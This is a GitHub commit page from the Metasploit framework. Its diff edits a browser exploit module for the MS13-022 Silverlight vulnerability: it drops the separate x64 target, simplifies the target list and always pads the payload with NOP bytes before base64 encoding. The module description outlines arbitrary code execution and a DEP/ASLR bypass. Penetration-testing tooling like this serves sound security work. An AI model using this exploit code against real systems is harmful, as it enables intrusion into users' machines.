Skip to content

Commit ef62e1f

Browse files
committed
Land rapid7#4798, @wchen-r7's deletion of x64 support on ms13_022_silverlight_script_object
* Ungenuine support, well deleted
2 parents 4097222 + ef99022 commit ef62e1f

File tree

1 file changed

+5
-16
lines changed

1 file changed

+5
-16
lines changed

modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb

Lines changed: 5 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ def initialize(info={})
2828
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
2929
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
3030
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
31-
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
31+
SP3 / Windows 7 SP1.
3232
},
3333
'License' => MSF_LICENSE,
3434
'Author' =>
@@ -55,7 +55,7 @@ def initialize(info={})
5555
'EXITFUNC' => 'thread'
5656
},
5757
'Platform' => 'win',
58-
'Arch' => [ARCH_X86, ARCH_X86_64],
58+
'Arch' => ARCH_X86,
5959
'BrowserRequirements' =>
6060
{
6161
:source => /script|headers/i,
@@ -65,16 +65,7 @@ def initialize(info={})
6565
},
6666
'Targets' =>
6767
[
68-
[ 'Windows x86',
69-
{
70-
'arch' => ARCH_X86
71-
}
72-
],
73-
[ 'Windows x64',
74-
{
75-
'arch' => ARCH_X86_64
76-
}
77-
]
68+
[ 'Windows x86/x64', {} ]
7869
],
7970
'Privileged' => false,
8071
'DisclosureDate' => "Mar 12 2013",
@@ -96,10 +87,8 @@ def exploit_template(cli, target_info)
9687
my_payload = get_payload(cli, target_info)
9788

9889
# Align to 4 bytes the x86 payload
99-
if target_info[:arch] == ARCH_X86
100-
while my_payload.length % 4 != 0
101-
my_payload = "\x90" + my_payload
102-
end
90+
while my_payload.length % 4 != 0
91+
my_payload = "\x90" + my_payload
10392
end
10493

10594
my_payload = Rex::Text.encode_base64(my_payload)

0 commit comments

Comments
 (0)